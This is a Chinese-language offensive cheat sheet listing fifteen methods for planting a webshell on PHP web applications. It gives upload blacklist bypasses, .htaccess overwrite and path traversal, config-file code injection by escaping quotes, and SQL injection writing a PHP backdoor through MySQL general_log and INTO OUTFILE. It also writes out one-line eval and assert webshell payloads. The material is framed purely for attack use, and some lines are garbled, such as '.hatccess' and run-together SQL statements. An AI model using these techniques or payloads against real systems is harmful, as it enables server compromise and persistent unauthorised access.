1.利用檔案上傳漏洞,找檔案上傳處想辦法上傳php檔案。
一些網站在設定可以允許修改上傳的檔案類型則直接添加php
有時候會還有檢測是否為php檔案,可以通過檔案名變形,大小寫,雙寫等形式繞過,隻要是黑名單的都比較好繞過
很多cms還有.hatccess檔案禁止通路或者執行這個目錄下的檔案的情況
這種情況直接上傳一個.hatccess檔案覆寫這個,讓其失效。
或者上傳不重命名的話上傳../../shell.php 傳到其他不被限制通路的目錄
或者找任意檔案删除漏洞把.hatccess檔案删除
2.找檔案配置的地方寫入php代碼,一般都有過濾的,想辦法繞過
過濾單引号的話可以用注釋把上一個的内容注釋掉 在下一個參數配置注入代碼
效果如下
$conf_1 ='xx\';
$conf_2 = ';phpinfo();//'
這樣就相當于
$conf_1 ='xx\';$conf_2 = ';
phpinfo();
php代碼就可以執行了,防護比較弱的話直接通路這個配置檔案就可以getshell了。
防護比較好禁止通路配置檔案時,就找包含這個配置檔案的檔案即可。
3.找有沒有存在任意檔案包含的地方,本地包含的話直接上傳php代碼的圖檔,遠端包含的話就在自己的伺服器上設定php代碼檔案
4.sql注入getshell 要知道網站的絕對路徑
方法一:利用設定mysql log為php檔案,并設定路徑到網站目錄下,這樣就可以把sql中執行的php語句插入的log中了
如:
SETglobal general_log='on';
SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果沒有shell.php會自動建立
SELECT'<?php assert($_POST["cmd"]);?>';
方法二:
select "<?php phpinfo(); ?>" into outfile 'shell路徑.php'
5.遠端圖檔檔案下載下傳
有時候遠端圖檔下載下傳的時候,可以設定一下下載下傳自己的php檔案
如 自己伺服器上的檔案1.php
<?php
echo "<?php phpinfo(); ?>";
?>
或者别的方式,讓頁面有php代碼,如果不過濾字尾的話直接會下載下傳這個php檔案
6.zip解壓getshell
這個再系統更新或者插件安裝的地方很多都有這個問題。上傳shell.php在壓縮包中,上傳系統更新時會解壓縮,那麼就可以getshell
7.緩存寫入
有些地方會把緩存寫入到一個php檔案裡,想辦法讓自己的payload寫入緩存中
8.資料庫備份getshell
有些提供功能可以通過資料庫備份進行修改檔案字尾。
9.編輯模闆getshell
在網站編輯模闆插入一句話
10.指令執行拿webshell
echo <?php @eval($_POST(a));?> >路徑.php
可以用相對路徑也可以用絕對路徑
11.編輯器漏洞getshell
要留意cms使用的編輯器版本是否是已知漏洞的版本
12.利用檔案解析漏洞拿webshell
13.找可以執行代碼的函數,看看參數是否可控
14.找寫檔案的函數,看看檔案字尾和内容是否可控
15.沒有進入背景
0day拿webshell
IIS寫權限拿webshell(put一個shell進去)
指令執行拿webshell
通過注入漏洞拿webshell
前台圖檔上傳拿webshell
Strusts2拿webshell
java反序列拿shell